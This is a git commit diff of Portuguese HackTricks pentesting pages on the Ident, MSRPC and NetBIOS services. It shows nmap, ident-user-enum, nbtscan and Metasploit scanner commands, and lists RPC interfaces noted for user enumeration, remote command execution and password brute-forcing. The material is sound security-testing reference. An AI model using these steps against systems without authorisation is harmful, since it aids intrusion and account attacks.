Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',

This commit is contained in:
Translator 2024-02-09 08:09:41 +00:00
parent 08a2f294a9
commit adbf475386
111 changed files with 1848 additions and 1908 deletions

View file

@ -1,34 +1,16 @@
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** repositórios [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# WebView Protocol Handlers
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Manipuladores de Protocolo WebView

View file

@ -2,28 +2,30 @@
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias **mais avançadas** do mundo.\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Informações Básicas
## Informação Básica
É um [protocolo](https://en.wikipedia.org/wiki/Protocol\_\(computing\)) da [Internet](https://en.wikipedia.org/wiki/Internet) que ajuda a identificar o usuário de uma conexão [TCP](https://en.wikipedia.org/wiki/Transmission\_Control\_Protocol) específica.
O **Protocolo Ident** é usado na **Internet** para associar uma **conexão TCP** a um usuário específico. Originalmente projetado para auxiliar na **gestão de rede** e **segurança**, opera permitindo que um servidor consulte um cliente na porta 113 para solicitar informações sobre o usuário de uma conexão TCP específica.
No entanto, devido às preocupações modernas com privacidade e ao potencial de uso indevido, seu uso diminuiu, pois pode inadvertidamente revelar informações do usuário a partes não autorizadas. Medidas de segurança aprimoradas, como conexões criptografadas e controles de acesso rigorosos, são recomendadas para mitigar esses riscos.
**Porta padrão:** 113
```
@ -34,11 +36,11 @@ PORT STATE SERVICE
### **Manual - Obter usuário/Identificar o serviço**
Se uma máquina estiver executando o serviço ident e samba (445) e você estiver conectado ao samba usando a porta 43218. Você pode descobrir qual usuário está executando o serviço samba fazendo:
Se uma máquina estiver executando o serviço ident e samba (445) e você estiver conectado ao samba usando a porta 43218. Você pode obter qual usuário está executando o serviço samba fazendo:
![](<../.gitbook/assets/image (15) (1) (1).png>)
Se você apenas pressionar enter quando se conectar ao serviço:
Se você apenas pressionar Enter ao se conectar ao serviço:
![](<../.gitbook/assets/image (16) (1) (1).png>)
@ -48,7 +50,7 @@ Outros erros:
### Nmap
Por padrão (-sC), o nmap identificará todos os usuários de todas as portas em execução:
Por padrão (`-sC``) o nmap identificará todos os usuários de todas as portas em execução:
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0)
@ -65,7 +67,7 @@ PORT STATE SERVICE VERSION
```
### Ident-user-enum
Ident-user-enum é um script PERL simples para consultar o serviço ident (113/TCP) com o objetivo de determinar o proprietário do processo que está ouvindo em cada porta TCP de um sistema alvo. A lista de nomes de usuário coletada pode ser usada para ataques de adivinhação de senha em outros serviços de rede. Pode ser instalado com `apt install ident-user-enum`.
[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) é um simples script PERL para consultar o serviço ident (113/TCP) a fim de determinar o proprietário do processo que está ouvindo em cada porta TCP de um sistema alvo. A lista de nomes de usuário coletada pode ser usada para ataques de adivinhação de senha em outros serviços de rede. Pode ser instalado com `apt install ident-user-enum`.
```
root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
@ -85,12 +87,12 @@ identd.conf
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com o suporte das ferramentas comunitárias **mais avançadas** do mundo.\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** alimentados pelas ferramentas comunitárias **mais avançadas** do mundo.\
Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Comandos Automáticos HackTricks
## Comandos Automáticos do HackTricks
```
Protocol_Name: Ident #Protocol Abbreviation if there is one.
Port_Number: 113 #Comma separated if there is more than one.
@ -100,7 +102,7 @@ Entry_1:
Name: Notes
Description: Notes for Ident
Note: |
Is an Internet protocol that helps identify the user of a particular TCP connection.
The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection.
https://book.hacktricks.xyz/pentesting/113-pentesting-ident
@ -111,14 +113,14 @@ Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all
```
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -2,14 +2,14 @@
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -33,7 +33,7 @@ Fique informado sobre os mais recentes programas de recompensas por bugs lançad
O protocolo Microsoft Remote Procedure Call (MSRPC), um modelo cliente-servidor que permite a um programa solicitar um serviço de um programa localizado em outro computador sem entender os detalhes da rede, foi inicialmente derivado de software de código aberto e posteriormente desenvolvido e protegido por direitos autorais pela Microsoft.
O mapeador de pontos de extremidade RPC pode ser acessado via porta TCP e UDP 135, SMB no TCP 139 e 445 (com uma sessão nula ou autenticada), e como um serviço da web na porta TCP 593.
O mapeador de pontos de extremidade RPC pode ser acessado via porta TCP e UDP 135, SMB na porta TCP 139 e 445 (com uma sessão nula ou autenticada), e como um serviço da web na porta TCP 593.
```
135/tcp open msrpc Microsoft Windows RPC
```
@ -53,7 +53,7 @@ Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028]
```
O acesso ao serviço de localização RPC é habilitado por meio de protocolos específicos: ncacn\_ip\_tcp e ncadg\_ip\_udp para acesso via porta 135, ncacn\_np para conexões SMB e ncacn\_http para comunicação RPC baseada na web. Os comandos a seguir exemplificam a utilização de módulos do Metasploit para auditoria e interação com serviços MSRPC, focando principalmente na porta 135:
O acesso ao serviço de localização RPC é habilitado por meio de protocolos específicos: ncacn\_ip\_tcp e ncadg\_ip\_udp para acesso via porta 135, ncacn\_np para conexões SMB e ncacn\_http para comunicação RPC baseada na web. Os comandos a seguir exemplificam a utilização de módulos do Metasploit para auditar e interagir com os serviços MSRPC, focando principalmente na porta 135:
```bash
use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
@ -65,47 +65,54 @@ Todas as opções, exceto `tcp_dcerpc_auditor`, são especificamente projetadas
#### Interfaces RPC notáveis
**IFID**: 12345778-1234-abcd-ef00-0123456789ab
**Named Pipe**: \pipe\lsarpc
**Descrição**: Interface LSA, usada para enumerar usuários.
* **IFID**: 12345778-1234-abcd-ef00-0123456789ab
* **Named Pipe**: `\pipe\lsarpc`
* **Descrição**: Interface LSA, usada para enumerar usuários.
**IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
**Named Pipe**: \pipe\lsarpc
**Descrição**: Interface de Serviços de Diretório (DS) LSA, usada para enumerar domínios e relacionamentos de confiança.
**IFID**: 12345778-1234-abcd-ef00-0123456789ac
**Named Pipe**: \pipe\samr
**Descrição**: Interface SAMR LSA, usada para acessar elementos públicos do banco de dados SAM (por exemplo, nomes de usuários) e forçar senhas de usuários, independentemente da política de bloqueio de conta.
* **IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
* **Named Pipe**: `\pipe\lsarpc`
* **Descrição**: Interface de Serviços de Diretório (DS) LSA, usada para enumerar domínios e relacionamentos de confiança.
**IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b
**Named Pipe**: \pipe\atsvc
**Descrição**: Agendador de tarefas, usado para executar comandos remotamente.
**IFID**: 338cd001-2244-31f1-aaaa-900038001003
**Named Pipe**: \pipe\winreg
**Descrição**: Serviço de registro remoto, usado para acessar e modificar o registro do sistema.
* **IFID**: 12345778-1234-abcd-ef00-0123456789ac
* **Named Pipe**: `\pipe\samr`
* **Descrição**: Interface SAMR LSA, usada para acessar elementos públicos do banco de dados SAM (por exemplo, nomes de usuários) e forçar senhas de usuários, independentemente da política de bloqueio de conta.
**IFID**: 367abb81-9844-35f1-ad32-98f038001003
**Named Pipe**: \pipe\svcctl
**Descrição**: Gerenciador de controle de serviços e serviços de servidor, usado para iniciar e parar serviços remotamente e executar comandos.
**IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188
**Named Pipe**: \pipe\srvsvc
**Descrição**: Gerenciador de controle de serviços e serviços de servidor, usado para iniciar e parar serviços remotamente e executar comandos.
* **IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b
* **Named Pipe**: `\pipe\atsvc`
* **Descrição**: Agendador de tarefas, usado para executar comandos remotamente.
**IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
**Named Pipe**: \pipe\epmapper
**Descrição**: Interface DCOM, usada para forçar a moagem de senhas e coletar informações via WM.
* **IFID**: 338cd001-2244-31f1-aaaa-900038001003
* **Named Pipe**: `\pipe\winreg`
* **Descrição**: Serviço de registro remoto, usado para acessar e modificar o registro do sistema.
* **IFID**: 367abb81-9844-35f1-ad32-98f038001003
* **Named Pipe**: `\pipe\svcctl`
* **Descrição**: Gerenciador de controle de serviços e serviços de servidor, usado para iniciar e parar serviços remotamente e executar comandos.
* **IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188
* **Named Pipe**: `\pipe\srvsvc`
* **Descrição**: Gerenciador de controle de serviços e serviços de servidor, usado para iniciar e parar serviços remotamente e executar comandos.
* **IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
* **Named Pipe**: `\pipe\epmapper`
* **Descrição**: Interface DCOM, usada para força bruta de senhas e coleta de informações via WM.
### Identificando endereços IP
Usando [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), proveniente da pesquisa da [Airbus](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/), é possível abusar do método _**ServerAlive2**_ dentro da interface _**IOXIDResolver**_.
Este método foi usado para obter informações de interface como endereço **IPv6** da caixa HTB _APT_. Veja [aqui](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) para o artigo do 0xdf sobre APT, que inclui um método alternativo usando rpcmap.py do [Impacket](https://github.com/SecureAuthCorp/impacket/) com _stringbinding_ (veja acima).
Este método foi usado para obter informações de interface como endereço **IPv6** da máquina HTB _APT_. Veja [aqui](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) o artigo da 0xdf sobre o APT, que inclui um método alternativo usando rpcmap.py do [Impacket](https://github.com/SecureAuthCorp/impacket/) com _stringbinding_ (veja acima).
## Porta 593
O **rpcdump.exe** de [rpctools](https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools) pode interagir com esta porta.
O **rpcdump.exe** do [rpctools](https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools) pode interagir com esta porta.
## Referências
* [https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/)
@ -136,7 +143,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,19 +1,37 @@
## NetBios Name Service
# 137,138,139 - Teste de penetração no NetBios
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## Serviço de Nome NetBios
O **Serviço de Nome NetBIOS** desempenha um papel crucial, envolvendo vários serviços como **registro e resolução de nomes**, **distribuição de datagramas** e **serviços de sessão**, utilizando portas específicas para cada serviço.
[Do Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
* Serviço de nome para registro e resolução de nomes (portas: 137/udp e 137/tcp).
* Serviço de distribuição de datagramas para comunicação sem conexão (porta: 138/udp).
* Serviço de sessão para comunicação orientada a conexão (porta: 139/tcp).
* Serviço de sessão para comunicação orientada à conexão (porta: 139/tcp).
### Serviço de Nome
Cada máquina deve ter um nome dentro da rede NetBios. Para solicitar um nome, uma máquina deve enviar um pacote "Consulta de Nome" em broadcast e, se alguém responder que já está usando esse nome, a máquina pode usar esse nome. Se houver um servidor de Serviço de Nome, o computador poderá perguntar ao servidor de Serviço de Nome se alguém está usando o nome que ele deseja usar.
Para descobrir o endereço IP de um Nome, um PC deve enviar um pacote "Consulta de Nome" e esperar se alguém responde. Se houver um servidor de Serviço de Nome, o PC pode perguntar a ele o IP do nome.
Para um dispositivo participar de uma rede NetBIOS, ele deve ter um nome único. Isso é alcançado por meio de um **processo de transmissão** onde um pacote "Consulta de Nome" é enviado. Se não houver objeções recebidas, o nome é considerado disponível. Alternativamente, um **servidor de Serviço de Nome** pode ser consultado diretamente para verificar a disponibilidade do nome ou para resolver um nome para um endereço IP. Ferramentas como `nmblookup`, `nbtscan` e `nmap` são utilizadas para enumerar serviços NetBIOS, revelando nomes de servidores e endereços MAC.
```bash
PORT STATE SERVICE VERSION
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
```
Enumerando um serviço NetBIOS, você pode obter os nomes que o servidor está usando e o endereço MAC do servidor.
Enumerar um serviço NetBIOS permite obter os nomes que o servidor está usando e o endereço MAC do servidor.
```bash
nmblookup -A <IP>
nbtscan <IP>/30
@ -21,22 +39,18 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
```
### Serviço de Distribuição de Datagramas
Os datagramas NetBIOS são enviados por UDP. Um datagrama é enviado com um pacote "Direto Único" ou "Direto em Grupo" se estiver sendo enviado para um nome NetBIOS específico, ou um pacote "Broadcast" se estiver sendo enviado para todos os nomes NetBIOS na rede.
Os datagramas NetBIOS permitem comunicação sem conexão via UDP, suportando mensagens diretas ou de transmissão para todos os nomes de rede. Este serviço utiliza a porta **138/udp**.
```bash
PORT STATE SERVICE VERSION
138/udp open|filtered netbios-dgm
```
### Serviço de Sessão
O modo de sessão permite que dois computadores estabeleçam uma conexão para uma "conversa", permitindo que mensagens maiores sejam tratadas e fornecendo detecção e recuperação de erros.
Para interações orientadas à conexão, o **Serviço de Sessão** facilita uma conversa entre dois dispositivos, aproveitando conexões **TCP** através da porta **139/tcp**. Uma sessão começa com um pacote de "Solicitação de Sessão" e pode ser estabelecida com base na resposta. O serviço suporta mensagens maiores, detecção de erros e recuperação, com o TCP lidando com controle de fluxo e retransmissão de pacotes.
As sessões são estabelecidas trocando pacotes. O computador que estabelece a sessão tenta fazer uma conexão [TCP](https://en.wikipedia.org/wiki/Transmission\_Control\_Protocol) à porta 139 do computador com o qual a sessão deve ser estabelecida. Se a conexão for estabelecida, o computador que estabelece a sessão envia pela conexão um pacote "Solicitação de Sessão" com os nomes NetBIOS do aplicativo que estabelece a sessão e o nome NetBIOS para o qual a sessão deve ser estabelecida. O computador com o qual a sessão deve ser estabelecida responderá com uma "Resposta Positiva de Sessão" indicando que uma sessão pode ser estabelecida ou uma "Resposta Negativa de Sessão" indicando que nenhuma sessão pode ser estabelecida (seja porque esse computador não está ouvindo sessões sendo estabelecidas para esse nome ou porque não há recursos disponíveis para estabelecer uma sessão para esse nome).
A transmissão de dados dentro de uma sessão envolve **pacotes de Mensagem de Sessão**, com as sessões sendo encerradas ao fechar a conexão TCP.
Os dados são transmitidos durante uma sessão estabelecida por pacotes de Mensagem de Sessão.
O TCP lida com o controle de fluxo e retransmissão de todos os pacotes de serviço de sessão e a divisão do fluxo de dados sobre o qual os pacotes são transmitidos em datagramas [IP](https://en.wikipedia.org/wiki/Internet\_Protocol) pequenos o suficiente para caber em pacotes de camada de link.
As sessões são encerradas fechando a conexão TCP.
Esses serviços são essenciais para a funcionalidade do **NetBIOS**, permitindo comunicação eficiente e compartilhamento de recursos em uma rede. Para obter mais informações sobre os protocolos TCP e IP, consulte suas respectivas páginas da [Wikipedia TCP](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) e [Wikipedia IP](https://en.wikipedia.org/wiki/Internet_Protocol).
```bash
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
@ -61,7 +75,7 @@ Entry_1:
Datagram distribution service for connectionless communication (port: 138/udp).
Session service for connection-oriented communication (port: 139/tcp).
Every machine should have a name inside the NetBios network. To request a name, a machine should send a "Name Query" packet in broadcast and if anyone answer that it is already using that name, the machine can use that name. If there is a Name Service server, the computer could ask the Name Service server if someone is using the name that it wants to use.
For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address.
https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios
@ -72,12 +86,14 @@ Entry_2:
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
